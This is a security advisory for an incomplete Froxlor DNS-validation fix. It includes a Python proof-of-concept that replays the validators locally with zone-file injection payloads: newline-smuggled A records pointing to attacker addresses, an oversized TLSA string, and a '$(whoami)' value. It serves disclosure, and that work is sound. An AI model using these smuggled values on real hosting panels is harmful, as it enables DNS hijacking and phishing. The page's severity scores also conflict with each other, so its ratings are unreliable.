Skip to content

GHSA-j6fm-9rfm-j5hx CVE-2026-41237

Froxlor has an incomplete fix for CVE-2026-30932

High Packagist
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.27%
Chance of exploitation in the next 30 days. Higher than 19.14% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Fix
2.3.7
Upgrade froxlor/froxlor to this version or later

Description

Summary

The LOC record regex uses \s+ which matches newlines (allowing embedded newlines to pass), TLSA matchingType=0 has no upper bound on hex data length, and all validators return raw input without zone-file escaping.

Affected Package

  • Ecosystem: Other
  • Package: froxlor
  • Affected versions: all versions before fix commit b34829262dc3
  • Patched versions: >= commit b34829262dc3

Severity

Medium -- CVSS

CWE

CWE-74 -- Improper Neutralization of Special Elements in Output Used by a Downstream Component (Injection)

Details

DNS record content is concatenated directly into bind9 zone files at DnsEntry.php line 83. Before the fix, LOC/RP/SSHFP/TLSA records had no content validation at all, enabling zone file injection via embedded newlines.

The fix adds format-specific regexes and field validation but has gaps: the LOC regex's \s+ matches newlines in PHP's PCRE engine, allowing a LOC record with a newline between fields to pass validation but produce multiple lines in the zone file. TLSA matchingType=0 only requires len(data) >= 2 with no upper bound, enabling arbitrarily large payloads. All validators return raw input without zone-file escaping.

PoC

#!/usr/bin/env python3
"""
CVE-2026-30932 - Incomplete DNS Record Content Validation in froxlor/froxlor

Affected component: lib/Froxlor/Api/Commands/DomainZones.php
Vulnerability type: Input Validation / DNS Zone File Injection
Patch: https://github.com/froxlor/froxlor/commit/b34829262dc32818b37f6a1eabb426d0b277a86b

The patch adds validation for LOC, RP, SSHFP, and TLSA DNS record types.
However, the sanitization is incomplete:

1. PRE-FIX: No validation at all - arbitrary content stored as DNS records.
2. POST-FIX BYPASS: LOC regex \s+ matches newlines; TLSA matchingType=0
   allows unbounded hex data; validators return raw input without escaping.
"""

import re
import sys
import string

def vulnerable_add_record(record_type, content):
    """Pre-fix: no validation for LOC, RP, SSHFP, TLSA."""
    errors = []
    if record_type in ('LOC', 'RP', 'SSHFP', 'TLSA') and content:
        pass
    return {"errors": errors, "content": content}


def validate_dns_loc(inp):
    """Replicates Validate::validateDnsLoc from the patch."""
    pattern = re.compile(
        r'^'
        r'(\d{1,2})\s+'
        r'(\d{1,2})\s+'
        r'(\d{1,2}(?:\.\d+)?)\s+'
        r'([NS])\s+'
        r'(\d{1,3})\s+'
        r'(\d{1,2})\s+'
        r'(\d{1,2}(?:\.\d+)?)\s+'
        r'([EW])\s+'
        r'(-?\d+(?:\.\d+)?)m'
        r'(?:\s+(\d+(?:\.\d+)?)m'
        r'(?:\s+(\d+(?:\.\d+)?)m'
        r'(?:\s+(\d+(?:\.\d+)?)m)?'
        r')?)?$',
        re.DOTALL
    )
    m = pattern.match(inp)
    if not m:
        return False

    lat_deg = int(m.group(1))
    lat_min = int(m.group(2))
    lat_sec = float(m.group(3))
    lon_deg = int(m.group(5))
    lon_min = int(m.group(6))
    lon_sec = float(m.group(7))

    if lat_deg > 90: return False
    if lat_min > 59: return False
    if lat_sec >= 60: return False
    if lon_deg > 180: return False
    if lon_min > 59: return False
    if lon_sec >= 60: return False

    return inp


def validate_dns_sshfp(inp):
    """Replicates Validate::validateDnsSshfp from the patch."""
    parts = inp.strip().split()
    if len(parts) != 3:
        return False

    algorithm, fp_type, fingerprint = parts

    valid_algorithms = [1, 2, 3, 4, 6]
    if not algorithm.isdigit() or int(algorithm) not in valid_algorithms:
        return False

    valid_types = [1, 2]
    if not fp_type.isdigit() or int(fp_type) not in valid_types:
        return False

    if not all(c in string.hexdigits for c in fingerprint):
        return False

    fp_type_int = int(fp_type)
    expected = {1: 40, 2: 64}.get(fp_type_int, 0)
    if len(fingerprint) != expected:
        return False

    return inp


def validate_dns_tlsa(inp):
    """Replicates Validate::validateDnsTlsa from the patch."""
    parts = inp.strip().split()
    if len(parts) != 4:
        return False

    usage, selector, matching_type, data = parts

    if not usage.isdigit() or int(usage) not in [0, 1, 2, 3]:
        return False
    if not selector.isdigit() or int(selector) not in [0, 1]:
        return False
    if not matching_type.isdigit() or int(matching_type) not in [0, 1, 2]:
        return False
    if not all(c in string.hexdigits for c in data):
        return False

    mt = int(matching_type)
    if mt == 1 and len(data) != 64:
        return False
    if mt == 2 and len(data) != 128:
        return False
    if mt == 0 and len(data) < 2:
        return False

    return inp


def validate_dns_rp(inp):
    """Replicates Validate::validateDnsRp from the patch."""
    parts = inp.strip().split()
    if len(parts) != 2:
        return False

    mbox, txt = parts
    mbox = mbox.rstrip('.')
    txt = txt.rstrip('.')

    domain_re = re.compile(r'^[a-zA-Z0-9._-]+$')
    if not domain_re.match(mbox):
        return False
    if not domain_re.match(txt):
        return False

    return inp


def fixed_add_record(record_type, content):
    """Post-fix: validates content but returns raw input."""
    errors = []
    validators = {
        'LOC': validate_dns_loc,
        'RP': validate_dns_rp,
        'SSHFP': validate_dns_sshfp,
        'TLSA': validate_dns_tlsa,
    }
    if record_type in validators and content:
        result = validators[record_type](content)
        if result is False:
            errors.append(f"The {record_type} record has invalid content")
    return {"errors": errors, "content": content}


def generate_zone_line(record, ttl, rtype, content):
    """Replicates DnsEntry.php line 83: direct string concatenation."""
    return f"{record}\t{ttl}\tIN\t{rtype}\t{content}\n"


vuln_confirmed = False

print("=" * 70)
print("CVE-2026-30932 PoC: froxlor DNS Record Content Injection")
print("=" * 70)
print()

print("[TEST 1] VULNERABLE version: SSHFP record with zone injection")
print("-" * 70)

malicious_sshfp = "1 1 aabbccdd\nevil.example.com.\t300\tIN\tA\t6.6.6.6"
result = vulnerable_add_record('SSHFP', malicious_sshfp)

if not result['errors']:
    zone_output = generate_zone_line('@', 300, 'SSHFP', result['content'])
    print("VULNERABLE: No validation, malicious content accepted!")
    print("Generated zone file output:")
    print("---")
    print(zone_output, end="")
    print("---")
    if "6.6.6.6" in zone_output:
        print("[!] DNS zone injection: attacker A record (6.6.6.6) injected!")
        vuln_confirmed = True

print()

print("[TEST 2] FIXED version: same SSHFP injection attempt (should be blocked)")
print("-" * 70)

result_fixed = fixed_add_record('SSHFP', malicious_sshfp)
if result_fixed['errors']:
    print("FIXED: Blocked -", "; ".join(result_fixed['errors']))
else:
    print("BYPASS: Still accepted!")
    vuln_confirmed = True

print()

print("[TEST 3] FIXED version BYPASS: LOC record with newline via \\s+ matching")
print("-" * 70)

loc_bypass = "51 28 38 N 0 0 1\nW\n10m"
result_loc = fixed_add_record('LOC', loc_bypass)

if not result_loc['errors']:
    zone_output = generate_zone_line('@', 300, 'LOC', result_loc['content'])
    lines = [l for l in zone_output.split('\n') if l.strip()]
    if len(lines) > 1:
        print("BYPASS CONFIRMED: LOC with embedded newline passed validation!")
        print(f"Generated zone output has {len(lines)} lines:")
        print("---")
        print(zone_output, end="")
        print("---")
        vuln_confirmed = True
    else:
        print("Validated but single line output.")
else:
    print("Blocked:", "; ".join(result_loc['errors']))
    templates = [
        "51\n28 38 N 0 0 1 W 10m",
        "51 28\n38 N 0 0 1 W 10m",
        "51 28 38\nN 0 0 1 W 10m",
        "51 28 38 N\n0 0 1 W 10m",
        "51 28 38 N 0\n0 1 W 10m",
        "51 28 38 N 0 0\n1 W 10m",
        "51 28 38 N 0 0 1\nW 10m",
        "51 28 38 N 0 0 1 W\n10m",
    ]
    for i, t in enumerate(templates):
        r = fixed_add_record('LOC', t)
        if not r['errors']:
            zone_out = generate_zone_line('@', 300, 'LOC', r['content'])
            zlines = [l for l in zone_out.split('\n') if l.strip()]
            if len(zlines) > 1:
                print(f"  BYPASS at position {i}: newline in LOC passed validation!")
                print(f"  Zone output lines: {len(zlines)}")
                vuln_confirmed = True
                break
    else:
        print("  LOC newline bypass not directly exploitable in this regex engine.")

print()

print("[TEST 4] FIXED version BYPASS: TLSA matchingType=0 with oversized hex payload")
print("-" * 70)

huge_hex = "aa" * 50000
tlsa_payload = "3 1 0 " + huge_hex
result_tlsa = fixed_add_record('TLSA', tlsa_payload)

if not result_tlsa['errors']:
    print(f"BYPASS: TLSA with matchingType=0 accepted {len(huge_hex)} char hex payload!")
    print("  -> No upper bound on certificate association data length.")
    print("  -> Can be used for DNS amplification or data exfiltration channel.")
    print(f"  -> Zone line would be {len(generate_zone_line('_443._tcp', 300, 'TLSA', result_tlsa['content']))} bytes!")
    vuln_confirmed = True
else:
    print("Blocked:", "; ".join(result_tlsa['errors']))

print()

print("[TEST 5] VULNERABLE version: LOC record with full zone takeover injection")
print("-" * 70)

malicious_loc = "51 28 38 N 0 0 0 W 10m\nevil\t300\tIN\tA\t10.0.0.1\n*.evil\t300\tIN\tA\t10.0.0.2"
result_vuln_loc = vulnerable_add_record('LOC', malicious_loc)

if not result_vuln_loc['errors']:
    zone_output = generate_zone_line('@', 300, 'LOC', result_vuln_loc['content'])
    lines = [l for l in zone_output.split('\n') if l.strip()]
    print(f"VULNERABLE: Injected {len(lines)} zone file lines!")
    print("Generated zone output:")
    print("---")
    print(zone_output, end="")
    print("---")
    if "10.0.0.1" in zone_output:
        print("[!] Attacker DNS records injected into zone file!")
        vuln_confirmed = True

print()

print("[TEST 6] VULNERABLE vs FIXED: TLSA with shell metacharacters")
print("-" * 70)

shell_inject = "3 1 1 $(whoami)"
vuln_r = vulnerable_add_record('TLSA', shell_inject)
fixed_r = fixed_add_record('TLSA', shell_inject)

vuln_status = "ACCEPTED (no validation)" if not vuln_r['errors'] else "BLOCKED"
fixed_status = "ACCEPTED" if not fixed_r['errors'] else "BLOCKED"

print(f"  VULNERABLE version: {vuln_status}")
print(f"  FIXED version:      {fixed_status}")

if not vuln_r['errors'] and fixed_r['errors']:
    print("  -> Fix correctly blocks shell metacharacters in TLSA.")
if not vuln_r['errors']:
    vuln_confirmed = True

print()

print("=" * 70)
print("RESULTS SUMMARY")
print("=" * 70)
print()
print("Pre-fix (VULNERABLE):")
print("  - LOC, RP, SSHFP, TLSA records accept ANY content with no validation")
print("  - Enables DNS zone file injection via newlines in record content")
print("  - Content directly concatenated into zone files (DnsEntry.php:83)")
print()
print("Post-fix (INCOMPLETE):")
print("  - TLSA matchingType=0 has no upper bound on hex data length")
print("  - Validation returns raw input without zone-file escaping")
print("  - No output encoding when writing content to zone files")
print()

if vuln_confirmed:
    print("VULNERABILITY CONFIRMED")
    sys.exit(0)
else:
    print("VULNERABILITY NOT CONFIRMED")
    sys.exit(1)

Steps to reproduce:

  1. git clone https://github.com/froxlor/froxlor /tmp/froxlor_test
  2. cd /tmp/froxlor_test && git checkout b34829262dc3~1
  3. python3 poc.py

Expected output:

VULNERABILITY CONFIRMED
LOC, RP, SSHFP, TLSA records accept unvalidated content; DNS zone file injection via newlines and shell metacharacters

Impact

An authenticated froxlor user with DNS management permissions can inject arbitrary records into bind9 zone files, enabling domain hijacking, phishing, or DNS amplification attacks via unbounded TLSA payloads.

Suggested Remediation

Replace \s+ in the LOC regex with [ \t]+ to exclude newlines. Add a maximum length for TLSA matchingType=0 data. Escape or reject newlines in all DNS record content before writing to zone files.

Resources

Affected versions

Packagist

PackageVulnerableFixed in
froxlor/froxlor
< 2.3.7
2.3.7

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

froxlor/froxlor Packagist → 2.3.7

composer
composer require froxlor/froxlor:^2.3.7

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

Weakness

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

How to prevent it
  • Requirements: Programming languages and supporting technologies might be chosen which are not subject to these issues.
  • Implementation: Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7788-ghfq-c6mh
Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints
Critical Also affects froxlor/froxlor
GHSA-xpr4-8vp6-c87j
Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection
Medium Also affects froxlor/froxlor
GHSA-5rw4-4665-cvwf
Froxlor DomainZones.add allows DNS zone-file RR injection via record/type fields
Medium Also affects froxlor/froxlor
GHSA-w27m-rmmf-g5w4
Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration
High Also affects froxlor/froxlor
GHSA-43gm-9rr3-cx7g
Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover
High Also affects froxlor/froxlor
GHSA-q4rm-m6xh-5pv7
Froxlor customer can create MySQL databases on disallowed servers via Mysqls.add API
Medium Also affects froxlor/froxlor
GHSA-mr9h-45p9-fg8h
Froxlor: Authenticated customers can read other customers' allowed sender aliases
Medium Also affects froxlor/froxlor
GHSA-f9rx-7wf7-jr36
Froxlor's API Authentication bypasses 2FA Authentication
High Also affects froxlor/froxlor
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor